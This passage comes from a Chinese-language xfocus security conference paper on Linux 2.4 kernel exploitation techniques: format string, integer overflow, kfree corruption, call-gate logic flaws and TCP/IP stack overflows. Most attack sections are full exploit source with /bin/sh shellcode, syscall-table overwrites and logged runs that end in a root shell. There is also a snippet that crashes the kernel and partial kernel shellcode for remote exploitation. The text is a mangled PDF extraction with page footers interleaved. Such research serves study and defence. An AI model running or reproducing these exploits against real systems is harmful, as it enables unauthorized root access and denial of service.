假如 shellcode地址为 shellcode_addr那么 len的长度应该为 shellcode_addr-4

好了,现在可以给出 exploit了。/*exploit for kformat.c* --- alert7 < [email protected] > *gcc -o kformat_exploit kformat_exploit.c */#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define __NR_exploit 241

http://www.xfocus.org , http://www.xfocus.net 第 39页 共 218页

Page 40: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

static inline _syscall2(int, exploit, unsigned int ,len,char * ,code);#define NOP 'A'#define RETLOC 0xc02c209c+__NR_exploit * 4char shell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char shellcode[]={0xba,0xff,0xff,0xff,0xff,//mov $0xffffffff,%edx0xb8,0x2b,0x00,0x00,0x00,//mov $0x2b,%eax0x50,//push %eax0x50,0x1f,//pop %ds0x07,//pop %es0x89,0xe0,//mov %esp,%eax//next0x83,0xc0,0x04,//add $0x4,%eax0x8b,0x18,//mov (%eax),%ebx0x83,0xfb,0x23,//cmp $0x23,%ebx0x75,0xf6,//jne next

0x83,0xe8,0x04,//sub %0x04,%eax0x89,0xc4,//mov %eax,%esp0x89,0x10,//mov %edx,(%eax)

0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/0x21,0xe0,0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00,/*movl $0x0,0x128(%eax) *///0x5b,//pop %ebx//0x58,//pop %eax0xcf /* iret */

};

char formatstrings[256]={"retloc|%len|%n"};

int main(int argc,char **argv){ char code[1024]; unsigned int len;

*(int *)(shellcode+1)=(int) shell; memset(code,NOP,1024);

http://www.xfocus.org , http://www.xfocus.net 第 40页 共 218页

Page 41: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

len = 256;

printf("shellcode addr is:%p\nshell addr is %p\n",shellcode,shell); sprintf(formatstrings,"%c%c%c%c%%%dp%%n",RETLOC&0x000000ff,(RETLOC&0x0000ff00)>>8,(RETLOC&0x00ff0000)>>16, (RETLOC&0xff000000)>>24,(int )shellcode -4);

printf("%s",formatstrings); fflush(stdout); memcpy(code,formatstrings,sizeof(formatstrings)); new_function(len,code); exploit(len,code);

}

[alert7@redhat73 alert7]$ gcc -o kformat_exploit -Wl,-T,elf_i386.x kformat_exploit.c [alert7@redhat73 alert7]$ ./kformat_exploit shellcode addr is:0x17aeshell addr is 0x1780`$,?6058p%nsh-2.05a# iduid=0(root) gid=500(alert7) groups=500(alert7)sh-2.05a#OK,又成 ROOT了,真不容易啊

后来又经过测试,SHELLCODE地址在大概 0x8048000的地方也不会出什么问题。看来前面担心是有点多余的,有点画蛇添足了。呵呵。不过话又说回来,的确提供了一个很好的思路。不是吗!![alert7@redhat73 alert7]$ gcc -o kformat_exploit kformat_exploit.c[alert7@redhat73 alert7]$ ./kformat_exploitshellcode addr is:0x80497aeshell addr is 0x8049780`$,?134518698p%nsh-2.05a# iduid=0(root) gid=500(alert7) groups=500(alert7)sh-2.05a#

但假如 SHELLCODE在堆栈区的话,就会出现 Segmentation faultshellcode addr is:0xbffffaf0shell addr is 0x80497a0`$,?-1073743124p%nSegmentation fault

http://www.xfocus.org , http://www.xfocus.net 第 41页 共 218页

Page 42: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第七节 内核整型溢出漏洞(Kernel Integer Overflow)

上面两种漏洞在内核中是基本是很难找到了,但是现在我们说的这种漏洞却是内核程序员很容易犯的错误。整数溢出的典型例子就是有符号数和无符号数的烂用,导致可绕过一些检查。Kernel2.2和几个 2.4.x版本的 linux/kernel/sysctl.c: sysctl_string() 函数中就存在这样的错误。

7.1 构造例子程序 kinteger.c

/*kinteger.c test kernel integer overflow Vulnerability * --- alert7 < [email protected] > *gcc -O3 -c -I/usr/src/linux/include kinteger.c */

#define MODULE#define __KERNEL__#include <linux/kernel.h>#include <linux/module.h>#include <asm/unistd.h>#include <asm/uaccess.h>#include <sys/syscall.h>#include <linux/slab.h>

#define __NR_function 240 //linux not use

extern void* sys_call_table[];

int (*old_function) (void );

asmlinkage int new_function(int len, char * buf) { char code[256] ;

if (len > 256) len = 256;

if (strncpy_from_user (code, buf, len)) goto out;

printk("%s",code);

out:

http://www.xfocus.org , http://www.xfocus.net 第 42页 共 218页

Page 43: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

return 0;}

int init_module(void) { old_function = sys_call_table[__NR_function]; sys_call_table[__NR_function] = new_function; printk("<1>kinteger test loaded...\n"); return 0;}

void cleanup_module(void) { sys_call_table[__NR_function] = old_function; printk("<1>kinteger test unloaded...\n");}

7.2 问题所在当我们传个负数 len 进来的话,就可以绕过 if (len > 256) len = 256;的检查,从而在

strncpy_from_user的时候把它当成无符号处理的话,LEN的值就会变的很大。好了,其他就没有什么技术可言了,有了上面两个 exploit 成功的基础,这个 exploit已

经不会很难写了。现在我们直接给出 exploit

/*exploit for kformat.c* --- alert7 < [email protected] > *gcc -o kinteger_exploit kinteger_exploit.c */#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define NOP 'A'char shellcode[]={//0x0,0x00,0x00,0xff,//0x50,//push 5eax

http://www.xfocus.org , http://www.xfocus.net 第 43页 共 218页

Page 44: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

//0x53,//push %ebx0xb8,0x2b,0x00,0x00,0x00,//mov $0x2b,%eax0x50,//push %eax0x50,0x1f,//pop %ds0x07,//pop %es0x89,0xe0,//mov %esp,%eax//next0x83,0xc0,0x04,//add $0x4,%eax0x8b,0x18,//mov (%eax),%ebx0x83,0xfb,0x23,//cmp $0x23,%ebx0x75,0xf6,//jne next

0x83,0xe8,0x04,//sub %0x04,%eax0x89,0xc4,//mov %eax,%esp0x89,0x28,//mov %ebp,(%eax)

0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/0x21,0xe0,0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00,/*movl $0x0,0x128(%eax) *///0x5b,//pop %ebx//0x58,//pop %eax0xcf /* iret */

};char shell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc,char **argv){

char code[1024]; unsigned int len;

memset(code,NOP,1024);

*(int *)(code+256+8)=(int) shell;//ebp *(int *)(code+256+8+4)=(int)shellcode;//eip code[256+8+4+4]=0; len = -2000000000;

new_function(len,code);

}

http://www.xfocus.org , http://www.xfocus.net 第 44页 共 218页

Page 45: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

[alert7@redhat73 alert7]$ ./kinteger_exploitsh-2.05a# iduid=0(root) gid=500(alert7) groups=500(alert7)

http://www.xfocus.org , http://www.xfocus.net 第 45页 共 218页

Page 46: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第八节 内核 kfree()参数腐败 (Kernel Kfree Parameter

Corruption)

我们知道,应用层的 free()的时候参数能被腐败的话,我们就可以想办法利用它来改变程序的流程。那么内核中 kfree()参数腐败的话,我们能否利用呢?

8.1 构造例子程序 kfree.c

/*kfree.c test kernel kfree Vulnerability * --- alert7 < [email protected] > *gcc -O3 -c -I/usr/src/linux/include kfree.c */

#define MODULE#define __KERNEL__#include <linux/kernel.h>#include <linux/module.h>#include <asm/unistd.h>#include <asm/uaccess.h>#include <sys/syscall.h>#include <linux/slab.h>

#define __NR_function 240 //linux not use

extern void* sys_call_table[];

int (*old_function) (void );

asmlinkage int new_function(unsigned int len, char * buf) { char * volatile p;//为了不让 GCC 把 P 优化到寄存器中 char code[256] ; int i;

len=((int)&p - (int)code)+4;

printk("len %d\n",len);

http://www.xfocus.org , http://www.xfocus.net 第 46页 共 218页

Page 47: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

p = kmalloc(len, GFP_KERNEL);

printk("kmalloc 0x%p \n",p);

if (p ==0) { printk("kmalloc: no memory\n"); goto out; } i=strncpy_from_user(code, buf, len);

printk("strncpy_from_user size %d\n",i);

printk("<1>p addr %p\n",p);

kfree(p);

out: return 0; }

int init_module(void) { old_function = sys_call_table[__NR_function]; sys_call_table[__NR_function] = new_function; printk("<1>kfree test loaded...\n"); return 0;}

void cleanup_module(void) { sys_call_table[__NR_function] = old_function; printk("<1>kfree test unloaded...\n");}

8.2 kfree()过程分析以下我们并非分析 kfree()的原理,我们这里只看 kfree()函数中是如何用一个值得到另

一个值的,看看一些变量之间的关系。/** * kfree - free previously allocated memory * @objp: pointer returned by kmalloc. * * Don't free memory not originally allocated by kmalloc()

http://www.xfocus.org , http://www.xfocus.net 第 47页 共 218页

Page 48: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

* or you will run into trouble. */void kfree (const void *objp){

kmem_cache_t *c;unsigned long flags;

if (!objp)return;

local_irq_save(flags);CHECK_PAGE(virt_to_page(objp));//假如没有定义DEBUG的话,该函数为空c = GET_PAGE_CACHE(virt_to_page(objp));__kmem_cache_free(c, (void*)objp);local_irq_restore(flags);

}

#define PAGE_SHIFT 12#define PAGE_OFFSET (0xC0000000)#define __pa(x) ((unsigned long)(x)-PAGE_OFFSET)#define virt_to_page(kaddr) (mem_map + (__pa(kaddr) >> PAGE_SHIFT))

#define GET_PAGE_CACHE(pg) ((kmem_cache_t *)(pg)->list.next)从上面我们可以看到,只要我们知道了 mem_map的地址,我们就可以控制 c了,但 c和objp对有一定的关系。

/* * __kmem_cache_free * called with disabled ints */static inline void __kmem_cache_free (kmem_cache_t *cachep, void* objp){#ifdef CONFIG_SMP//一般现在配置的都是 SMP

cpucache_t *cc = cc_data(cachep);

CHECK_PAGE(virt_to_page(objp));if (cc) {

int batchcount;if (cc->avail < cc->limit) {

STATS_INC_FREEHIT(cachep);cc_entry(cc)[cc->avail++] = objp;return;

}STATS_INC_FREEMISS(cachep);batchcount = cachep->batchcount;cc->avail -= batchcount;

http://www.xfocus.org , http://www.xfocus.net 第 48页 共 218页

Page 49: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

free_block(cachep,&cc_entry(cc)[cc->avail],batchcount);

cc_entry(cc)[cc->avail++] = objp;return;

} else {free_block(cachep, &objp, 1);

}#else

kmem_cache_free_one(cachep, objp);#endif}

#define cc_data(cachep) \((cachep)->cpudata[smp_processor_id()])

#define STATS_INC_FREEHIT(x) atomic_inc(&(x)->freehit)#define cc_entry(cpucache) \

((void **)(((cpucache_t*)(cpucache))+1))

我们现在关心的是红颜色的程序代码,假如现在我们 kfree的地址为 addr,那么:temp1= mem_map+(((unsigned long)addr- PAGE_OFFSET)>> PAGE_SHIFT)c =((kmem_cache_t *)(temp1)->list.next)//这里有点让我迷惑了 temp1怎么会有 list 成员的呢?

//下面一个例子居然还编译通过了//如果您知道,请通知我一下,在此先表示感谢

cc = c->cpudata[0];要确保(cc->avail < cc->limit) (((cpucache_t*) (cc))+1)[cc->avail++] = addr;

我们来看看具体变量跟变量的数值关系#define MODULE#define __KERNEL__#define CONFIG_SMP#include <linux/kernel.h>#include <linux/module.h>#include <asm/unistd.h>#include <sys/syscall.h>#include <linux/slab.h>#include <linux/mm.h>

#include "my.h"

mem_map_t * mem_map;#define ADDR 0xbffff000

intmain(int argc, const char* argv[])

http://www.xfocus.org , http://www.xfocus.net 第 49页 共 218页

Page 50: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{ void * addr; cpucache_t *cc ; kmem_cache_t *c;

mem_map = (mem_map_t *) 0x41414141;

addr =(void *) ADDR;

c = GET_PAGE_CACHE(virt_to_page(addr));

cc = cc_data(c); if (cc->avail < cc->limit) cc_entry(cc)[cc->avail++] =addr ;}[alert7@redhat73 alert7]$ gcc -S test.c -I/usr/src/linux/include

main: pushl %ebp movl %esp, %ebp subl $12, %esp

movl $1094795585, mem_map movl $-1073745920, -4(%ebp)//给 addr赋值 movl -4(%ebp), %eax addl $1073741824, %eax movl %eax, %edx shrl $12, %edx movl %edx, %eax sall $3, %eax subl %edx, %eax leal 0(,%eax,8), %edx movl mem_map, %eax movl (%eax,%edx), %eax

// c= mem_map+(((unsigned long)addr- PAGE_OFFSET)>> PAGE_SHIFT) movl %eax, -12(%ebp)// c = GET_PAGE_CACHE(virt_to_page(addr));

movl -12(%ebp), %eax movl 116(%eax), %eax movl %eax, -8(%ebp)// cc = cc_data(c);

movl -8(%ebp), %eax movl -8(%ebp), %edx movl (%eax), %eax cmpl 4(%edx), %eax// if (cc->avail < cc->limit)

http://www.xfocus.org , http://www.xfocus.net 第 50页 共 218页

Page 51: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

jae .L707

movl -8(%ebp), %edx movl (%edx), %eax imull $4, %eax, %eax addl -8(%ebp), %eax leal 8(%eax), %ecx movl -4(%ebp), %eax movl %eax, (%ecx) incl (%edx)// cc_entry(cc)[cc->avail++] =addr ;.L707: leave ret

再总结提取:c= mem_map+(((unsigned long)addr- PAGE_OFFSET)>> PAGE_SHIFT)cc=(c+116)要确保(cc)<(cc+4);(cc+8) = addr;

[alert7@redhat73 alert7]$ cat /proc/ksyms |grep mem_mapc032e2f0 mem_map_R2d57b9df

[alert7@redhat73 alert7]$ cat t.c#include <stdio.h>#define __PAGE_OFFSET (0xC0000000)#define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET)#define PAGE_SHIFT 12

int main(void){ unsigned int addr,mem_map; int * c,*cc;

addr = 0xc2763c00; mem_map= 0xc032e2f0;

c = (int *) mem_map+(((unsigned long)addr- PAGE_OFFSET)>> PAGE_SHIFT); printf("addr is %x\nmem_map is %x\nc is %x\n",addr,mem_map,c);

}[alert7@redhat73 alert7]$ ./taddr is c2763c00mem_map is c032e2f0c is c033807c

http://www.xfocus.org , http://www.xfocus.net 第 51页 共 218页

Page 52: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

从上面一些关系来看,C的地址只能是mem_map---mem_map+0x3ffffc,在本例中也就是0x c032e2f0到 0x C072E2EC 之间。很显然,这些地址都不是我们所能控制的。既然 C是我们所控制不了的,那么下面的几个变量(依靠 C)更是我们控制不了的。致此,我只能很遗憾的说:暂时还没有好方法来 exploit内核 kfree()参数腐败。如果您

有什么好的想法的,欢迎来信探讨。

http://www.xfocus.org , http://www.xfocus.net 第 52页 共 218页

Page 53: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第九节 内核编程逻辑错误( Kernel Program Logic

Vulnerability)

由于内核代码十分庞大,涉及的东西也非常之多,难免不会出现这样或者那样的问题。我们把一些逻辑上的错误划为内核的编程逻辑错误,可能分的也不太恰当,不过先这么着吧。可能 kernel 2.4.9 之前的 ptrace系统调用的漏洞也应该属于这个类型了。

9.1 举例说明先来看看最近 BUGTRAQ ID为 6115的漏洞报告

kernel 2.4.x都存在的问题“Linux内核不正确处理系统调用的 TF 标记,本地攻击者利用这个漏洞可以进行拒绝服务攻击。如果系统调用 TF 标记设置的情况下,可导致内核停止响应,攻击者利用这个漏洞通过执行调用了 TF 标记系统调用的恶意应用程序,可使 Linux内核挂起,需要重新启动获得正常功能。”

其实这是调用门处理代码处理不当导致的,linux为了兼容,保留了两个系统调用门。一个 lcall7,一个 lcall27,在两个处理函数里处理 EFLAGS的NT和 TF 标志不当,导致系统崩溃。

报告同时也给出了一个 exploit#define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall $7,$0"

在 redhat 7.3 默认安装的系统上没有使系统挂起。修改为如下代码,测试程序,系统立刻崩溃掉了。//int NT_MASK = 0x00004000;int main( void ){__asm__(" mov $0x00004000,%eax #设置 NT 标志 pushl %eax popfl lcall $7,$0

http://www.xfocus.org , http://www.xfocus.net 第 53页 共 218页

Page 54: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

"); return 1;}

9.2 分析问题所在查 看 KERNEL 的 SRC 我们知 道,内核代 码的处 断门部 分和处 理 调用门部 分对

EFLAGS的处理并没有多大区别,但为什么单是利用调用门的时候才会使系统崩溃呢?这就要求我们对 x86的保护模式有所了解。以下摘自《保护方式下的 80386 及其编程》P350“一但特权级别及栈已被切换,如果需要,中断或异常处理的其余部分可继续进行 。

EFLAGS寄存器压栈,然后将 EFLAGS寄存器的NT 及 TF位置 0。TF=0表示处理程序不允许单步执行。NT=0表示处理程序返回时,IRET 返回到同一任务而不是一个嵌套任务。如果转移是通过一个中断门进行的,则 EFLAGS中的 IF位也被置为 0,使得进入处理程序后,INTR中被屏蔽,如果转移是通过一个陷阱门进行的,则 IF位保持不变”而通过调用门进来的,EFLAGS的NT,TF都不会改变。明白了这些,只要在应用层为 EFLAGS设置 NT位为 1,那么又 lcall 调用门进入的内

核后 NT位还是为 1,所以当由内核返回到应用态执行 IRET 指令时,处理器会认为该任务是个嵌套任务,所以将进行任务切换,从当前 TSS中取出要返回到的任务。而实际上根本就不是嵌套的任务,所以将会系统崩溃。上面报告上说的设置 TF为 1,从原理上也应该会使系统挂起,但我的机子上没有测试

成功。有点奇怪。其实这些都是细节,要想 hack kernel的话,了解细节是必须的。其实应用层的也是一样

的,你要比写程序的作者考虑的更多,更全面,想作者未想的,想作者意想不到的。

http://www.xfocus.org , http://www.xfocus.net 第 54页 共 218页

Page 55: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第十节 TCP/IP协议栈溢出漏洞本节所讨论的是 TCP/IP协议栈里如果发生溢出,我们又该如何利用。这里说的溢出是

个泛指,泛指一切可利用的漏洞。国外也有人把这个作为一个挑战,可见要想真正 exploit成功这样的漏洞的话,还是有相当相当难度的。还记得上面我们提到的Abfrag.c吗?号称是 LINUX KERNEL TCP/IP协议栈中的溢出。

不过最后被确认是假的。但是在这我们要从技术上来讲,探讨下要写出这样的 exploit到底有哪些难点。

10.1 TCP/IP协议栈溢出漏洞的特点①TCP/IP协议栈溢出漏洞也就是远程漏洞,一般只能在远程 exploit,这就给 exploit 成功增加了难度。②不象我们上面讨论的那些漏洞那样是处于内核进程路径中的,发生 TCP/IP协议栈溢出漏洞的时候是在 BH中,也就是软中断处理函数中,而那里是属于中断上下文的。也就是说不跟任何的进程相关。其实确切的说应该是系统也无法确定会跟哪个进程相关。

10.2 TCP/IP协议栈溢出漏洞 exploit的难点 正是上面主要两个特别之处,给我们 exploit又带来了新的麻烦:①如何定位 RETLOC 这个值还是跟漏洞的类型相关,要因地制宜,根据具体的情况来分析②确定 SHELLCODE地址 确定这个地址就比较困难了,如果是 BOF的话,还可以找寻 JUMP ESP地址来代替

寻找 RETLOC,这样就省去找 SHELLCODE地址了,不过同样要找一个 JUMP ESP的地址。③SHELLCODE的时效性 因为现在是在中断上下文中,SHELLCODE基本不能做什么,我们不能在这时进行

I/O操作,我们的代码也不能引起调度或者睡眠。之后包含 SHELLCODE的数据包又可能被释放。所以我们想办法让其变为内核进程路径上的 SHELLCODE2,这需要让原来的 SHELLCODE具体以下功能:

1:覆盖一个内核进程路径上的 RETLOC2 2:把 SHELLCODE2 拷贝到一个内核进程路径上可用的内存段

SHELLCODE2因为是在内核进程路径上,所以它做的事情就比较多了,不过也要考 http://www.xfocus.org , http://www.xfocus.net 第 55页 共 218页

Page 56: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

到是在远程。SHELLCODE2可具备的功能参考如下:1:假如有 APACHE这样的服务跑在上面的话,我们找的 RETLOC可以是 recv()这样的 SOCKET 调用,让 SHELLCODE2判断收到的数据是否为我们特定的标记,如果是的话,可在内核中执行 execve(“/bin/sh”)。可能要要注意一些细节问题。2:假如没有对外的服务的话,我们可以 RETLOC 随便找个比较常用的系统调用比如 read()系统调用的地址,当系统里的程序执行 READ()系统调用的时候,首先会执行我们的 SHELLCODE2,我们的 SHELLCODE2 首先应该把 READ()的地址恢复回去,然后不管三七二十一执行类似应用层 BINDSHELL的功能。这其实对内核 SHELLCODE的编写提出了很高的要求。

④中断上下文中返回比如一个 BOF,我们又把它的返回地址覆盖掉了,使我们得到了控制权。但是这样一来系统也就迷失了方向了,除非我们替它找到返回的路径或者是替它返回。替中断上下文中返回又是一个难点。

10.3 留给读者的挑战 kipstack.c

/*kipstack test kernel TCP/IP stack Vulnerability * --- alert7 < [email protected] > *gcc -O3 -c -I/usr/src/linux/include kipstack.c */

#define MODULE#define __KERNEL__

#include <linux/module.h>#include <linux/kernel.h>#include <linux/skbuff.h>#include <linux/netdevice.h>#include <linux/string.h>#include <linux/inet.h>#include <linux/sockios.h>#include <linux/net.h>#include <linux/if_ether.h>#include <linux/ip.h>#include <linux/tcp.h>#include <linux/in.h>

struct packet_type proto;

http://www.xfocus.org , http://www.xfocus.net 第 56页 共 218页

Page 57: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

int do_with(unsigned char *data,unsigned int len){ char buf[256];#ifdef DEBUG unsigned int mylen; mylen = len >256?256:len; if (mylen ==0) return 0; memcpy(buf,data,mylen); buf[mylen-1]=0; printk("data len %d\n---------\n%s\n",len,buf);#else memcpy(buf,data,len);#endif /*do something else*/}int func(struct sk_buff *skb, struct net_device *dv, struct packet_type *pt){char buffer[512];//only for exploit easy

/* fix some pointers */ skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4; skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2); skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2) ;

if ((skb->nh.iph->protocol != IPPROTO_TCP)&&(skb->nh.iph->protocol != IPPROTO_UDP)) goto pkt_out;

if( 65500 != ntohs(skb->h.th->dest) ) goto pkt_out;

do_with(skb->data,skb->len);

pkt_out: kfree_skb(skb); return 0;

}int init_module(void){

proto.type=htons(ETH_P_ALL); proto.func=func; dev_add_pack(&proto); printk("my network proto loaded\n"); return 0;

http://www.xfocus.org , http://www.xfocus.net 第 57页 共 218页

Page 58: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

}void cleanup_module(void){ dev_remove_pack(&proto); printk("Unload network proto.\n"); return;}[root@redhat73 root]# gcc -O3 -c -I/usr/src/linux/include kipstack.c

10.4 如何定位RETLOC

在上面的难点中我们可以看出,我们需要两个 RETLOC,一个用来使 SHELLCODE得到控制权,一个用来使 SHELLCODE2得到控制权。第一个 SHELLCODE 运行在中断上下文,SHELLCODE2 运行在进程上下文。对于 BOF来说第一个 RETLOC不需要找,因为直接找溢出点就可以了,我们覆盖的

返回地址。第二个 RETLOC的话,在本例中,我们使选择了 sys_call_table中的第三个入口,也就是 read系统调用的入口。[root@redhat73 test]# cat /proc/ksyms |grep sys_callc02c209c sys_call_table_Rdfdb18bd

#define __NR_read 3

#define RETLOC2 (0xc02c209c+__NR_read*4)=0xC02C20A8#define SAVEADDR (0xc02c209c+250*4)=0XC02C2484我们把原来地址 RETLOC2的值保存在 SAVEADDR,以便后来恢复地址 RETLOC2的值,我们选择了第 250个入口,那个软中断目前 LINUX还没有用到。

10.5确定 SHELLCODE地址在这种情况下,我们基本上不可能直接得到 SHELLCODE的地址,所以我们只能使用

JMP ESP来替代或者是 CALL ESP。现在在内核代码中找找看有无这样的代码 ff e4 jmp *%esp

ff d4 call *%esp[root@redhat73 boot]# objdump -D vmlinux-2.4.18-3 >1[root@redhat73 boot]# cat 1|grep "ff e5" c0189a6c: e8 ff e5 f8 ff call c0118070 <printk>c02690eb: c0 ff e5 sar $0xe5,%bh[root@redhat73 boot]# cat 1|grep "ff d4"

http://www.xfocus.org , http://www.xfocus.net 第 58页 共 218页

Page 59: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

c01605fc: e8 ff d4 ff ff call c015db00 <ext2_empty_dir>

[root@redhat73 boot]# cat 1 |grep "ff e4"c01cb5f5: e9 ff e4 ff ff jmp c01c9af9 <dev_queue_xmit+0x209>c0264364: ff e4 jmp *%esp还好挺幸运的,我们可以找到几个,现在我们的 RETADDR地址就设置为 JMPESP

#define JMPESP (0xc0264364)#define RETADDR JMPESP

10.6 SHELLCODE的功能上面我们也已经说过了在中断上下文中的 SHELLCODE有它的实效性。所以我们必

须想办法让其变为内核进程路径上的 SHELLCODE2,这需要让原来的 SHELLCODE具体以下功能:

1:覆盖一个内核进程路径上的 RETLOC2 2:把 SHELLCODE2 拷贝到一个内核进程路径上可用的内存段DEST

3:保存 RETLOC2的值到 SAVEADDR地址前面我们已经确定了 RETLOC2和 SAVEADDR的值了,那么,我们如何来确定 DEST

的值呢?首先想到的就是在内核堆栈 ESP中找一块没有用到,几乎不用的内存,这样的内存基

本上是可以找到的,因为在为进程分配内核堆栈的时候,查看源代码我们可知,堆栈的底部是一个 task_struct的结构,上面是才是用到的堆栈。ESP 向 task_struct的方向生长。假如进程内核路径过长,导致 ESP 把 task_struct 结构覆盖的话,后果不堪设想。当前 task_struct 结构大小为sizeof(*current) = 1456

我们定义DEST如下:DEST = ESP&(~8191)+0x700;

我们把 SHELLCODE2的代码先拷贝到DEST去开始编写代码#include <stdio.h>

int main(int argc, char *argv[]){ __asm__(" RETLOC2 = 0xC02C20A8

http://www.xfocus.org , http://www.xfocus.net 第 59页 共 218页

Page 60: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

SAVEADDR = 0XC02C2484 mov $0xffffe000,%eax and %esp,%edi add $0x700,%edi #DEST IN edi mov %edi,%ebp #save est in ebp

call next next: pop %esi #esi is eip next1: add $(shellcode2begin-next),%esi #esi point to shellcode2begin mov $(shellcode2end-shellcode2begin),%ecx repz movsb %ds:(%esi),%es:(%edi)

mov $(RETLOC2),%eax mov $(SAVEADDR),%ebx mov (%eax),%ecx mov %ecx,(%ebx) mov %ebp,(%eax)

exit: #[需要在中断上下文中返回]

shellcode2begin: #shellcode2 begin now ebp include DEST# [ SHELLCODE2 ] shellcode2end: "); return 0;}
